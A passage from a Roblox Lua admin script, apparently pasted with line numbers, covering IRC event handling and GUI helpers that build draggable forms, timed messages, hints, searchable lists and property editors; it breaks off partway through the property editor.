  3886. elseif ID == "QUIT" or ID == "PART" then
  3887. for User in string.gmatch(Data[1][3], "[^!~]+") do
  3888. if IRC:FindUser(User) then
  3889. IRC:AddChat("[ IRC ]", User.." has left")
  3890. table.remove(IRC.Users, IRC:FindUser(User))
  3891. end
  3892. end
  3893. elseif ID == "JOIN" then
  3894. for User in string.gmatch(Data[1][3], "[^!~]+") do
  3895. if not string.find(User, "qwebirc") then
  3896. IRC:AddChat("[ IRC ]", User.." has joined")
  3897. table.insert(IRC.Users,w)
  3898. end
  3899. end
  3900. elseif ID == "CONNECTION TO IRC SERVER LOST." then
  3901. IRC:AddChat("[ CLIENT ]", "Cannot connect to IRC. Connection lost")
  3902. --IRC:Quit("Connection lost")
  3903. --IRC:AddChat("[ CLIENT ]", "Retrying connection")
  3904. --IRC:ConnectToServer(Settings.IRCServer)
  3905. elseif IRC.Codes[ID] then
  3906. --print(ID)
  3907. --print(Data[i][4][2])
  3908. --print(Data[i][4][2])
  3909. elseif ID == "KICK" then
  3910. IRC:AddChat("[ CLIENT ]", "You have been kicked from IRC")
  3911. IRC:Quit("Kicked from IRC")
  3912. elseif ID then
  3913. IRC:AddChat("[ CLIENT ]", "Unknown data (ID: "..ID..")", true)
  3914. else
  3915. IRC:AddChat("[ CLIENT ]", "Unknown data with invalid ID", true)
  3916. end
  3917. end
  3918. else
  3919. if Output == false then return false end -- sneeky server
  3920. IRC:AddChat("[ CLIENT ]", "Unable to handle data")
  3921. end
  3922. end
  3923. end
  3924.  
  3925. -- GUI functions --
  3926.  
  3927. function GUI:GetColor(ColorName)
  3928. if not ColorName then ColorName = Settings.ColorScheme end
  3929. return Colors[string.upper(ColorName)]
  3930. end
  3931.  
  3932. function GUI:ContrastColor(Color)
  3933. if type(Color) == "string" then Color = GUI:GetColor(Color) end
  3934. if not Color then Color = GUI:GetColor() end
  3935. return Color3.new(math.abs(Color.r-1),math.abs(Color.g-1),math.abs(Color.b-1))
  3936. end
  3937.  
  3938.  
  3939. function GUI:GetNameColor(Name)
  3940. local Val = 0
  3941. for i = 1, #Name do
  3942. local CVal = string.byte(string.sub(Name, i, i))
  3943. local RevIndex = #Name - i + 1
  3944. if #Name%2 == 1 then
  3945. RevIndex = RevIndex - 1
  3946. end
  3947. if RevIndex%4 >= 2 then
  3948. CVal = -CVal
  3949. end
  3950. Val = Val + CVal
  3951. end
  3952. local Index = Val%8 + 1
  3953.  
  3954. return BrickColor.new(ChatColors[Index])
  3955. end
  3956.  
  3957. function GUI:Color3ToHex(Color)
  3958. local function ConvertNumber(Number)
  3959. local HexString = "0123456789abcdef"
  3960. local Byte = ""
  3961. while Number > 0 do
  3962. local Calc = math.fmod(Number, 16)
  3963. Byte = string.sub(HexString, Calc+1, Calc+1)..Byte
  3964. Number = math.floor(Number / 16)
  3965. end
  3966. if Calc == "" then
  3967. Byte = "00"
  3968. elseif #Byte == 1 then
  3969. Byte = "0"..Byte
  3970. elseif Byte == "" then
  3971. Byte = "00"
  3972. end
  3973. return Byte
  3974. end
  3975. return ConvertNumber(Color.r * 255)..ConvertNumber(Color.g * 255)..ConvertNumber(Color.b * 255)
  3976. end
  3977.  
  3978. function GUI:CreateForm(Player, TitleText, Size, Position, IconID, ShowFormButtons, ColorScheme, TransparencyScheme, AutoOffset, TweenPosition, NoModal, NoScrollFrame)
  3979. if not Player then return nil end
  3980. if not Player:FindFirstChild("PlayerGui") then return nil end
  3981. local TaskBar = Player.PlayerGui:FindFirstChild("M".."ake".."rMod".."el".."Lua's TaskBar")
  3982. if not TitleText then TitleText = "Unknown" end
  3983. if not Size then Size = UDim2.new(0.5,0,0.5,0) end
  3984. if not Position then Position = UDim2.new(0.5-(Size.X.Scale/2),-Size.X.Offset/2,0.5-(Size.Y.Scale/2),-Size.Y.Offset/2) end
  3985. if not IconID then IconID = 19919809 end
  3986. if ShowFormButtons == nil then ShowFormButtons = true end
  3987. if not ColorScheme then ColorScheme = Settings.ColorScheme end
  3988. if not TransparencyScheme then TransparencyScheme = Settings.TransparencyScheme end
  3989. if AutoOffset == nil then AutoOffset = true end
  3990. if Icons[IconID] then IconID = Icons[IconID] end
  3991. if TweenPosition == nil then TweenPosition = true end
  3992. if NoModal == nil then NoModal = false end
  3993. if NoScrollFrame == nil then NoScrollFrame = false end
  3994.  
  3995. local IsClosed = false
  3996. local Minus = nil
  3997. local Offset = 0
  3998. local ContentType = "ScrollingFrame"
  3999. local TweenSpeed = 0.3
  4000.  
  4001. if AutoOffset then
  4002. for _,Item in pairs(Player.PlayerGui:GetChildren()) do
  4003. if Item.Name == "M".."a".."k".."erModelLua's Admin Form" then
  4004. if Item.IsActive.Value == true then
  4005. if Item.IsTrueForm.Value == true then
  4006. Offset = Offset + 50
  4007. end
  4008. end
  4009. end
  4010. end
  4011. end
  4012.  
  4013. if NoScrollFrame == true then
  4014. ContentType = "Frame"
  4015. end
  4016.  
  4017. SOUND:PlayNotification(Player, 155331654)
  4018.  
  4019. local Position = Position + UDim2.new(0,Offset,0,Offset)
  4020. local MinimizePos = Position
  4021.  
  4022. local SG = Instance.new("ScreenGui", Player.PlayerGui) SG.Name = string.char(76 + 1, 97, 107, 10 ^ 2 + 1, 114, 77, 111, 10 ^ 2, 101, 108, 76, 117, 97, 39, 115).." Admin Form"
  4023. local IsActive = Instance.new("BoolValue", SG) IsActive.Name = "IsActive" IsActive.Value = true
  4024. local IsTrueForm = Instance.new("BoolValue", SG) IsTrueForm.Name = "IsTrueForm" IsTrueForm.Value = ShowFormButtons
  4025.  
  4026. local Dragger = Instance.new("Frame", SG) Dragger.Name = "Dragger" Dragger.Position = UDim2.new(0.5-(Size.X.Scale/2),-Size.X.Offset/2,-Size.Y.Scale,-Size.Y.Offset - 90) Dragger.Size = Size + UDim2.new(0, 0, 0, 40) Dragger.BackgroundColor3 = GUI:GetColor(ColorScheme) Dragger.BorderColor3 = GUI:ContrastColor(ColorScheme) Dragger.BorderSizePixel = 2 Dragger.BackgroundTransparency = 0.9 Dragger.Active = true Dragger.ClipsDescendants = true Dragger.Draggable = true
  4027. local FormBar = Instance.new("Frame", Dragger) FormBar.Name = "FormBar" FormBar.Position = UDim2.new(0, 0, 0, 0) FormBar.Size = UDim2.new(1, 0, 0, 40) FormBar.BackgroundTransparency = 1
  4028. local Splitter = Instance.new("Frame", Dragger) Splitter.Name = "Splitter" Splitter.Position = UDim2.new(0, 0, 0, 35) Splitter.Size = UDim2.new(1, 0, 0, 2) Splitter.BackgroundColor3 = GUI:ContrastColor(ColorScheme) Splitter.BorderColor3 = GUI:ContrastColor(ColorScheme)
  4029. local X = Instance.new("ImageButton", FormBar) X.Name = "X" X.Position = UDim2.new(1, -30, 0, 5) X.Size = UDim2.new(0, 25, 0, 25) X.BackgroundTransparency = 1 X.Image = "rbxassetid://275572394"
  4030. local IconHolder = Instance.new("ImageLabel", FormBar) IconHolder.Name = "IconHolder" IconHolder.Position = UDim2.new(0, 5, 0, 5) IconHolder.Size = UDim2.new(0, 35, 0, 25) IconHolder.BackgroundTransparency = 1 IconHolder.Image = "rbxassetid://276002222"
  4031. local Icon = Instance.new("ImageLabel", IconHolder) Icon.Name = "Icon" Icon.Position = UDim2.new(0, 3, 0.5, -10) Icon.Size = UDim2.new(0, 20, 0, 20) Icon.BackgroundTransparency = 1 Icon.Image = "rbxassetid://"..IconID
  4032. local TitleBegin = Instance.new("ImageLabel", FormBar) TitleBegin.Name = "TitleBegin" TitleBegin.Position = UDim2.new(0, 30, 0, 5) TitleBegin.Size = UDim2.new(0, 35, 0, 25) TitleBegin.BackgroundColor3 = Color3.new(1, 1, 1) TitleBegin.BackgroundTransparency = 1 TitleBegin.Image = "rbxassetid://275589160"
  4033. local TitleEnd = Instance.new("ImageLabel", FormBar) TitleEnd.Name = "TitleEnd" TitleEnd.Position = UDim2.new(1, -76, 0, 5) TitleEnd.Size = UDim2.new(0, 25, 0, 25) TitleEnd.BackgroundTransparency = 1 TitleEnd.Image = "rbxassetid://275589154"
  4034. local Title = Instance.new("TextLabel", FormBar) Title.Name = "Title" Title.Position = UDim2.new(0, 50, 0, 5) Title.Size = UDim2.new(1, -120, 0, 25) Title.BackgroundColor3 = Color3.new(101/255, 102/255, 102/255) Title.BorderSizePixel = 0 Title.Text = TitleText Title.Font = "ArialBold" Title.FontSize = "Size18" Title.TextXAlignment = "Left" Title.TextColor3 = GUI:ContrastColor(ColorScheme) Title.ClipsDescendants = true
  4035.  
  4036. local Body = Instance.new("TextButton", Dragger) Body.Name = "Body" Body.Position = UDim2.new(0, 0, 0, 40) Body.Size = UDim2.new(1, 0, 1, -40) Body.BackgroundColor3 = Color3.new(1, 1, 1) Body.BackgroundTransparency = 1 Body.Text = "" Body.Modal = true Body.Active = true Body.Modal = not NoModal
  4037. local Content = Instance.new(ContentType, Body) Content.Name = "Content" Content.Size = UDim2.new(1, 0, 1, 0) Content.BackgroundTransparency = 1
  4038. if ContentType == "ScrollingFrame" then Content.CanvasSize = Size end
  4039. --local ResizeContainer = Instance.new("Frame", SG) ResizeContainer.Name = "ResizeContainer" ResizeContainer.Size = UDim2.new(0, 20, 0, 20) ResizeContainer.BackgroundColor3 = Color3.new(1, 1, 1) ResizeContainer.BackgroundTransparency = 1
  4040. --local Resizer = Instance.new("ImageLabel", ResizeContainer) Resizer.Name = "Resizer" Resizer.Size = UDim2.new(1, 0, 1, 0) Resizer.BackgroundColor3 = Color:GetColor() Resizer.BackgroundTransparency = Settings.TransparencyScheme Resizer.BorderSizePixel = 0 Resizer.Image = "rbxassetid://199287674" Resizer.Active = true Resizer.Draggable = true
  4041.  
  4042. CORE:ExecuteResource("GUIEffect", SG, {["Transparency"] = Settings.TransparencyScheme + 0.1, ["GUIName"] = "Dragger"})
  4043.  
  4044. local Functions = Instance.new("Folder", SG) Functions.Name = "Functions"
  4045.  
  4046. local Close = Instance.new("BindableFunction", Functions) Close.Name = "Close"
  4047. local Closed = Instance.new("BindableEvent", Functions) Closed.Name = "Closed"
  4048. local Minimize = Instance.new("BindableFunction", Functions) Minimize.Name = "Minimize"
  4049. local Minimized = Instance.new("BindableEvent", Functions) Minimized.Name = "Minimized"
  4050. local Restore = Instance.new("BindableFunction", Functions) Restore.Name = "Restore"
  4051. local Restored = Instance.new("BindableEvent", Functions) Restored.Name = "Restored"
  4052.  
  4053. if Settings.EnableTaskBar then
  4054. Minus = Instance.new("ImageButton", FormBar) Minus.Name = "Minus" Minus.Position = UDim2.new(1, -58, 0, 5) Minus.Size = UDim2.new(0, 35, 0, 25) Minus.BackgroundTransparency = 1 Minus.Image = "rbxassetid://275589157"
  4055. else
  4056. TitleEnd.Position = UDim2.new(1, -50, 0, 5)
  4057. Title.Size = UDim2.new(1, -95, 0, 25)
  4058. end
  4059.  
  4060. if not ShowFormButtons then
  4061. X:Destroy()
  4062. TitleEnd:Destroy()
  4063. Title.Size = UDim2.new(1, -55, 0, 25)
  4064. end
  4065.  
  4066. local function CloseForm()
  4067. if IsClosed == false then
  4068. IsActive.Value = false
  4069. IsClosed = true
  4070. ypcall(function() Dragger:TweenPosition(UDim2.new(0.5-(Size.X.Scale/2),-Size.X.Offset/2,1,Size.Y.Offset + 20), "Out", "Quint", TweenSpeed, true, function() wait(1) if SG then SG:Destroy() end end) end)
  4071. Closed:Fire()
  4072. SOUND:PlayNotification(Player, 206375138)
  4073. end
  4074. end
  4075.  
  4076. local function MinimizeForm()
  4077. if IsActive.Value == true then
  4078. IsActive.Value = false
  4079. Minimized:Fire()
  4080. MinimizePos = Dragger.Position
  4081. ypcall(function() Dragger:TweenPosition(UDim2.new(0.5-(Size.X.Scale/2),-Size.X.Offset/2,-Size.Y.Scale,-Size.Y.Offset - 90), "Out", "Quad", TweenSpeed, true) end)
  4082. end
  4083. end
  4084.  
  4085. local function RestoreForm()
  4086. if IsActive.Value == false then
  4087. IsActive.Value = true
  4088. Restored:Fire()
  4089. ypcall(function() Dragger:TweenPosition(MinimizePos, "Out", "Quint", TweenSpeed, true) end)
  4090. end
  4091. end
  4092.  
  4093. if X then CORE:HandleEvent(X, "MouseButton1Down", CloseForm) end
  4094. if Minus then CORE:HandleEvent(Minus, "MouseButton1Down", MinimizeForm) end
  4095.  
  4096. Close.OnInvoke = CloseForm
  4097. Minimize.OnInvoke = MinimizeForm
  4098. Restore.OnInvoke = RestoreForm
  4099.  
  4100. if TweenPosition then Dragger:TweenPosition(Position, "Out", "Quint", TweenSpeed, true) end
  4101.  
  4102. if TaskBar then
  4103. TaskBar:WaitForChild("AddForm")
  4104. TaskBar.AddForm:Fire(SG, IconID, Closed, Minimized, Restore)
  4105. end
  4106.  
  4107. return Content, Close, Closed, Minimize, Minimized, Restore, Restored
  4108. end
  4109.  
  4110. function GUI:CoreGui(Player, Type, Enable)
  4111. local Parent = Player:FindFirstChild("Backpack")
  4112. if not Parent then Parent = Player.Backpack end
  4113. CORE:ExecuteResource("CoreGui", Player.Character, {["Type"] = Type, ["Enabled"] = Enable})
  4114. end
  4115.  
  4116. function GUI:SendMessage(Player, TitleText, BodyText, IconID, Time, AutoTime, Speaker)
  4117. if not Player or not Player:IsA("Player") then return nil end
  4118. if BodyText == "" then return nil end
  4119. if not Player:FindFirstChild("PlayerGui") then return nil end
  4120.  
  4121. local MessageSplit = STRING:GetSplit(BodyText, 1, " ") or {BodyText}
  4122. local TextColor = GUI:GetColor(MessageSplit[1])
  4123. if TextColor then BodyText = MessageSplit[2] end
  4124. BodyText = string.sub(STRING:FormatReplace(Player, BodyText, Speaker or Player),1,1000)
  4125.  
  4126. local Frame, Close, Closed, _, Minimized = GUI:CreateForm(Player, TitleText, UDim2.new(0.2,100,0.1,100), nil, IconID)
  4127. local Body = Instance.new("TextLabel", Frame) Body.Name = "Body" Body.Size = UDim2.new(1,0,1,0) Body.BackgroundTransparency = 1 Body.Text = BodyText Body.Font = Settings.Font Body.FontSize = "Size18" Body.TextStrokeTransparency = 0 Body.TextWrapped = true Body.TextYAlignment = "Top"
  4128.  
  4129. if Frame then
  4130. local FormBar = Frame.Parent.Parent.FormBar
  4131. local Said = false
  4132. local Speak = Instance.new("ImageButton", FormBar) Speak.Name = "Speak" Speak.Position = UDim2.new(1, -87, 0, 5) Speak.Size = UDim2.new(0, 35, 0, 25) Speak.BackgroundColor3 = Color3.new(1, 1, 1) Speak.BackgroundTransparency = 1 Speak.Image = "rbxassetid://276195369"
  4133. if Settings.EnableTaskBar then
  4134. FormBar.TitleEnd.Position = UDim2.new(1, -106, 0, 5)
  4135. FormBar.Title.Size = UDim2.new(1, -145, 0, 25)
  4136. else
  4137. Speak.Position = UDim2.new(1, -58, 0, 5)
  4138. FormBar.TitleEnd.Position = UDim2.new(1, -76, 0, 5)
  4139. FormBar.Title.Size = UDim2.new(1, -120, 0, 25)
  4140. end
  4141. CORE:HandleEvent(Speak, "MouseButton1Down", function()
  4142. if not Said then
  4143. Said = true
  4144. SOUND:SayConvertedText(SOUND:ConvertText(BodyText), Frame)
  4145. end
  4146. end)
  4147.  
  4148. if TextColor then
  4149. Body.TextColor3 = TextColor
  4150. else
  4151. Body.TextColor3 = Color3.new(1,1,1)
  4152. end
  4153.  
  4154. if tonumber(Time) then coroutine.wrap(function()
  4155. if AutoTime then
  4156. Time = Time + math.floor(#BodyText/7)
  4157. end
  4158. local Alive = true
  4159.  
  4160. local function StopTimer() Alive = false end
  4161. Closed.Event:connect(StopTimer)
  4162. Minimized.Event:connect(StopTimer)
  4163.  
  4164. Frame.Size = Frame.Size + UDim2.new(0,0,0,-30)
  4165. Frame.Position = Frame.Position + UDim2.new(0,0,0,30)
  4166. local Ticker = Instance.new("TextLabel", Frame.Parent) Ticker.Size = UDim2.new(1, 0, 0, 30) Ticker.TextColor3 = GUI:ContrastColor() Ticker.BackgroundTransparency = 1 Ticker.Text = Time Ticker.Font = "ArialBold" Ticker.FontSize = "Size18"
  4167. local Stop = Instance.new("ImageButton", Frame.Parent) Stop.Name = "Stop" Stop.Position = UDim2.new(1,-30,0,0) Stop.Size = UDim2.new(0, 25, 0, 25) Stop.BackgroundColor3 = Color3.new(1, 1, 1) Stop.BackgroundTransparency = 1 Stop.Image = "rbxassetid://49494354"
  4168. CORE:HandleEvent(Stop, "MouseButton1Down", StopTimer)
  4169. for i = Time,0,-1 do
  4170. for ii = 1,10 do
  4171. if Alive == true then
  4172. Ticker.Text = i
  4173. wait(0.1)
  4174. else
  4175. break
  4176. end
  4177. end
  4178. end
  4179. if Alive == true then
  4180. Close:Invoke()
  4181. else
  4182. Ticker:Destroy()
  4183. Stop:Destroy()
  4184. Frame.Size = Frame.Size + UDim2.new(0,0,0,30)
  4185. Frame.Position = Frame.Position + UDim2.new(0,0,0,-30)
  4186. end
  4187. end)() end
  4188.  
  4189. CORE:ExecuteResource("CalculateScrollY", Body)
  4190. end
  4191. end
  4192.  
  4193. function GUI:FullMessage(Player, TitleText, BodyText, IconID, Error)
  4194. if not Player then return nil end
  4195. if not Player:IsA("Player") then return nil end
  4196. if BodyText == "" then return nil end
  4197. if not Player:FindFirstChild("PlayerGui") then return nil end
  4198. BodyText = string.sub(STRING:FormatReplace(Player, BodyText),1,1000)
  4199. local TextColor = GUI:ContrastColor()
  4200. if Error then TextColor = Color3.new(1,0,0) end
  4201.  
  4202. local Frame, Close, Closed, Minimize, Minimized = GUI:CreateForm(Player, TitleText, UDim2.new(0.3,0,0.3,0), nil, IconID)
  4203. local Body = Instance.new("TextLabel", Frame) Body.Name = "Body" Body.Size = UDim2.new(1, -13, 1, 0) Body.BackgroundTransparency = 1 Body.Text = BodyText Body.Font = Settings.Font Body.FontSize = "Size18" Body.TextStrokeTransparency = 1 Body.TextWrapped = true Body.TextXAlignment = "Left" Body.TextYAlignment = "Top" Body.TextColor3 = TextColor
  4204.  
  4205. CORE:ExecuteResource("CalculateScrollY", Body)
  4206.  
  4207. return Frame, Close, Closed, Minimize, Minimized
  4208. end
  4209.  
  4210. function GUI:SendHint(Player, Text, Time, Speaker) coroutine.wrap(function()
  4211. Text = STRING:FormatReplace(Player, string.sub(Text,1,100), Speaker)
  4212. local TweenTime = 0.5
  4213. if not Time then Time = 5 end
  4214. local SG = Instance.new("ScreenGui") SG.Name = "LuaMod".."".."elM".."aker's Admin Hint"
  4215. local MaxPos = -1
  4216. for _,SGObj in pairs(Player.PlayerGui:GetChildren()) do
  4217. local IVal = SGObj:FindFirstChild("Index")
  4218. if IVal then
  4219. MaxPos = math.max(MaxPos, IVal.Value)
  4220. end
  4221. end
  4222. MaxPos = MaxPos + 1
  4223. local IndexVal = Instance.new("IntValue", SG) IndexVal.Name = "Index" IndexVal.Value = MaxPos
  4224. local Main = Instance.new("Frame", SG) Main.Name = "Main" Main.Position = UDim2.new(0, 0, 0.05, MaxPos * 50) Main.Size = UDim2.new(1, 0, 0, 40) Main.BackgroundTransparency = 1
  4225. local LeftBar = Instance.new("Frame", Main) LeftBar.Name = "LeftBar" LeftBar.Position = UDim2.new(0.5, 0, 0, 0) LeftBar.Size = UDim2.new(0, 0, 1, 0) LeftBar.BackgroundColor3 = GUI:GetColor() LeftBar.BackgroundTransparency = 0.9 LeftBar.BorderSizePixel = 0
  4226. local RightBar = Instance.new("Frame", Main) RightBar.Name = "RightBar" RightBar.Position = UDim2.new(0.5, 0, 0, 0) RightBar.Size = UDim2.new(0, 0, 1, 0) RightBar.BackgroundColor3 = GUI:GetColor() RightBar.BackgroundTransparency = 0.9 RightBar.BorderSizePixel = 0
  4227. local Body = Instance.new("TextLabel", Main) Body.Name = "Body" Body.Size = UDim2.new(1, 0, 1, 0) Body.BackgroundColor3 = Color3.new(1, 1, 1) Body.BackgroundTransparency = 1 Body.TextColor3 = GUI:ContrastColor() Body.Text = Text Body.Font = Settings.Font Body.FontSize = "Size18" Body.TextTransparency = 1
  4228. SG.Parent = Player.PlayerGui
  4229.  
  4230. CORE:ExecuteResource("GUIEffect", Main, {["Transparency"] = Settings.TransparencyScheme + 0.1, ["GUIName"] = "LeftBar"})
  4231. CORE:ExecuteResource("GUIEffect", Main, {["Transparency"] = Settings.TransparencyScheme + 0.1, ["GUIName"] = "RightBar"})
  4232.  
  4233. LeftBar:TweenSize(UDim2.new(-0.5, 0, 1, 0), "In", "Quart", TweenTime)
  4234. RightBar:TweenSize(UDim2.new(0.5, 0, 1, 0), "In", "Quart", TweenTime)
  4235. Delay(TweenTime, function()
  4236. for i = 1,0,-0.1 do
  4237. Body.TextTransparency = i
  4238. wait()
  4239. end
  4240. Body.TextTransparency = 0
  4241. end)
  4242. Delay(TweenTime + Time, function()
  4243. for i = 0,1,0.1 do
  4244. Body.TextTransparency = i
  4245. wait()
  4246. end
  4247. Body.TextTransparency = 1
  4248. local Done = false
  4249. LeftBar:TweenSize(UDim2.new(0, 0, 1, 0), "Out", "Quad", TweenTime, true, function() Done = true end)
  4250. RightBar:TweenSize(UDim2.new(0, 0, 1, 0), "Out", "Quad", TweenTime, true, function() repeat wait() until Done SG:Destroy() end)
  4251. end)
  4252.  
  4253. end)() end
  4254.  
  4255. function GUI:ListGui(Player, Title, List, IconID, Clickable, AutoNumber, PreSearch, BackgroundColor)
  4256. if not Player then return nil end
  4257. if not Player:FindFirstChild("PlayerGui") then return nil end
  4258. if not PreSearch then PreSearch = "" end
  4259. if AutoNumber == nil then AutoNumber = true end
  4260.  
  4261. local Frame, Close, Closed, Minimize, Minimized = GUI:CreateForm(Player, Title, UDim2.new(0.4,0,0.6,0), nil, IconID, true, BackgroundColor)
  4262. local SearchBar = Instance.new("TextBox") SearchBar.Name = "SearchBar" SearchBar.Position = UDim2.new(0.1,0,0,5) SearchBar.Size = UDim2.new(0.8,0,0,20) SearchBar.BackgroundColor3 = GUI:GetColor() SearchBar.BackgroundTransparency = 0.5 SearchBar.Text = "" SearchBar.Font = Settings.Font SearchBar.FontSize = "Size14" SearchBar.TextColor3 = GUI:ContrastColor() SearchBar.ClearTextOnFocus = false SearchBar.Text = PreSearch SearchBar.Font = Settings.Font SearchBar.FontSize = "Size14"
  4263. SearchBar.Parent = Frame.Parent
  4264. Frame.Size = Frame.Size + UDim2.new(0,0,0,-30)
  4265. Frame.Position = Frame.Position + UDim2.new(0,0,0,30)
  4266.  
  4267. local SearchVer = 0,nil
  4268. local Clicked = Instance.new("BindableEvent", Frame) Clicked.Name = "Clicked"
  4269. local RequestDialog = Instance.new("BindableFunction", Frame) RequestDialog.Name = "RequestDialog"
  4270. local InDialog = false
  4271.  
  4272. local function ShowResults(Key)
  4273. SearchVer = SearchVer + 1
  4274. local ThisSearchVer = SearchVer
  4275.  
  4276. if type(ScrollScript) == "userdata" then ScrollScript.Disabled = true ScrollScript:Destroy() end
  4277. for _,Get in pairs(Frame:GetChildren()) do if Get:IsA("LocalScript") then Get.Disabled = true end Get:Destroy() end
  4278.  
  4279. local NumPos,Num = 0,1
  4280.  
  4281. for _,Data in pairs(List) do
  4282. if ThisSearchVer ~= SearchVer then
  4283. break
  4284. end
  4285. local String = tostring(Data)--STRING:DetermineFilter(tostring(Data), Player, Player)
  4286. if String then
  4287. local ImageIcon = nil
  4288. if type(Data) == "table" then
  4289. String = Data[1]
  4290. ImageIcon = Data[2]
  4291. end
  4292.  
  4293. local TextColor = GUI:ContrastColor()
  4294. local StringSplit = STRING:GetSplit(String, 1, " ")
  4295. local NewColor = GUI:GetColor(StringSplit[1])
  4296. if NewColor then TextColor = NewColor String = StringSplit[2] end
  4297.  
  4298. if string.find(string.lower(String), string.lower(Key)) then
  4299. Spacer = false
  4300. local Font = Settings.Font
  4301. local Split = STRING:GetSplit(String, 1, " ")
  4302. if string.sub(string.lower(String),1,6) == "bold: " then
  4303. Font = "ArialBold"
  4304. String = string.sub(String,7)
  4305. elseif Fonts[Split[1]] then
  4306. Font = Split[1]
  4307. String = Split[2]
  4308. end
  4309. if string.sub(String,1,2) == "--" then
  4310. Spacer = true
  4311. end
  4312. local Content = Instance.new("TextButton", Frame) Content.Name = "Content: "..Num Content.Position = UDim2.new(0,0,0,NumPos) Content.Size = UDim2.new(1,0,0,30) Content.BackgroundColor3 = Color3.new(1,1,1) Content.BackgroundTransparency = 0.9 Content.Font = Font Content.FontSize = "Size18" Content.TextXAlignment = "Left" Content.TextColor3 = TextColor if Spacer then Content.Text = string.rep(" ", #tostring(Num) + 3)..String elseif AutoNumber == true then Content.Text = Num..".) "..String else Content.Text = String end
  4313. if ImageIcon then
  4314. if tonumber(ImageIcon) then
  4315. ImageIcon = "rbxassetid://"..ImageIcon
  4316. elseif Icons[ImageIcon] then
  4317. ImageIcon = "rbxassetid://"..Icons[ImageIcon]
  4318. end
  4319.  
  4320. Content.Size = UDim2.new(1,0,0,90) Content.Position = UDim2.new(0,0,0,NumPos) Content.ZIndex = 2
  4321. local Image = Instance.new("ImageLabel", Content) Image.Name = "Image" Image.Size = UDim2.new(0, 90, 0, 90) Image.BackgroundColor3 = Color3.new(1, 1, 1) Image.BackgroundTransparency = 1 Image.Image = ImageIcon
  4322. local TextContent = Instance.new("TextLabel", Content) TextContent.Name = "TextContent" TextContent.Position = UDim2.new(0, 90, 0, 0) TextContent.Size = UDim2.new(1, -90, 1, 0) TextContent.BackgroundColor3 = Color3.new(1, 1, 1) TextContent.BackgroundTransparency = 1 TextContent.Text = Content.Text TextContent.Font = Settings.Font TextContent.FontSize = "Size18" TextContent.TextXAlignment = "Left" TextContent.TextColor3 = TextColor TextContent.TextWrapped = true
  4323. Content.Text = ""
  4324. NumPos = NumPos + 90
  4325. else
  4326. NumPos = NumPos + 30
  4327. end
  4328.  
  4329. if not Clickable then
  4330. Content.AutoButtonColor = false
  4331. Content.Active = false
  4332. Content.BackgroundTransparency = 1
  4333. elseif ClientInfo[Player.Name] and not ClientInfo[Player.Name].TouchScreen then
  4334. SOUND:BindButton(Content)
  4335. CORE:HandleEvent(Content, "MouseButton1Down", function()
  4336. if not InDialog then
  4337. Clicked:Fire(String)
  4338. end
  4339. end, true)
  4340. end
  4341. if Spacer == false then Num = Num + 1 end
  4342. end
  4343. end
  4344. end
  4345. Frame.CanvasSize = UDim2.new(0,0,0,NumPos)
  4346. ScrollScript = CORE:ExecuteResource("ScrollLeftRight", Frame.Parent, {["VerticalOffset"] = NumPos})
  4347. end
  4348.  
  4349. RequestDialog.OnInvoke = function(RequestDialogCall)
  4350. InDialog = RequestDialogCall
  4351. end
  4352.  
  4353. ShowResults(PreSearch)
  4354.  
  4355. local RPR = CORE:CreateRemotePropertyReader(SearchBar)
  4356. CORE:HandleEvent(SearchBar, "Changed", function(Prop)
  4357. if Prop == "Text" then
  4358. local Text = CORE:ReadProperty(RPR, Player, "Text")
  4359. ShowResults(Text)
  4360. Frame.CanvasPosition = Vector2.new(0,0)
  4361. end
  4362. end)
  4363.  
  4364. return Clicked, RequestDialog, Close
  4365. end
  4366.  
  4367. function GUI:PropertyGui(Player, Title, Icon, Properties)
  4368. if not Player then return nil end
  4369. if not Player:FindFirstChild("PlayerGui") then return nil end
  4370. if type(Properties) ~= "table" then return nil end
  4371. local HasClosed = false
  4372. local NewProperties = {}
  4373.  
  4374. local Frame, _, Closed = GUI:CreateForm(Player, Title, UDim2.new(0.2, 50, 0.5, 50), nil, Icon)
  4375. Frame.ClipsDescendants = true
  4376. local Splitter = Instance.new("Frame", Frame) Splitter.Name = "Splitter" Splitter.Position = UDim2.new(0.5, 0, 0, 0) Splitter.Size = UDim2.new(0, 0, 1, 0) Splitter.BackgroundColor3 = GUI:ContrastColor() Splitter.BorderColor3 = GUI:ContrastColor() Splitter.BorderSizePixel = 2 Splitter.ZIndex = 2
  4377.  
  4378. for PropertyName,Data in pairs(Properties) do
  4379. NewProperties[PropertyName] = Data[1]
  4380. end
  4381.  
  4382. local YCount = 0
  4383.  
  4384. for PropertyName,Data in pairs(Properties) do
  4385. if type(Data) == "table" then
  4386. local DefaultValue = Data[1]
  4387. local Writable = Data[2]
  4388. local ValueType = Data[3]
  4389.  
  4390. if Writable == nil then Writable = false end
  4391. if type(ValueType) == "string" then -- now this is confusing
  4392. ValueType = string.lower(ValueType)
  4393. elseif ValueType == nil then
  4394. ValueType = type(DefaultValue)
  4395. end
  4396.  
  4397. if ValueType == "nil" or ValueType == "userdata" then
  4398. ValueType = nil
  4399. elseif ValueType == "table" then
  4400. DefaultValue = STRING:UnpackArgs(DefaultValue)
  4401. ValueType = "string"
  4402. end
  4403.  
  4404. if ValueType then
  4405. local Object = Instance.new("Frame", Frame) Object.Name = "Object" Object.Size = UDim2.new(1, 0, 0, 50) Object.Position = UDim2.new(0,0,0,YCount) Object.BackgroundColor3 = GUI:GetColor() Object.BackgroundTransparency = 1--Settings.TransparencyScheme
  4406. local Property = Instance.new("TextLabel", Object) Property.Name = "Property" Property.Size = UDim2.new(0.5, 0, 0, 50) Property.BackgroundTransparency = 1 Property.Text = PropertyName Property.Font = Settings.Font Property.FontSize = "Size14" Property.TextWrapped = true Property.TextXAlignment = "Left"
  4407. local ValFrame = Instance.new("Frame", Object) ValFrame.Name = "ValFrame" ValFrame.Position = UDim2.new(0.5, 5, 0, 0) ValFrame.Size = UDim2.new(0.5, -5, 1, 0) ValFrame.BackgroundTransparency = 1
  4408.  
  4409. if ValueType == "string" or ValueType == "number" then
  4410. if Writable == true then
  4411. local Input = Instance.new("TextBox", ValFrame) Input.Name = "Input" Input.Position = UDim2.new(0, 0, 0.1, 0) Input.BackgroundTransparency = 1 Input.Size = UDim2.new(1, 0, 0.8, 0) Input.Text = tostring(DefaultValue) Input.Font = Settings.Font Input.FontSize = "Size14" Input.TextWrapped = true Input.TextXAlignment = "Left" Input.ClearTextOnFocus = false
  4412. CORE:HandleEvent(Input, "Changed", function(Prop) if Prop == "Text" then
  4413. if ValueType == "number" then
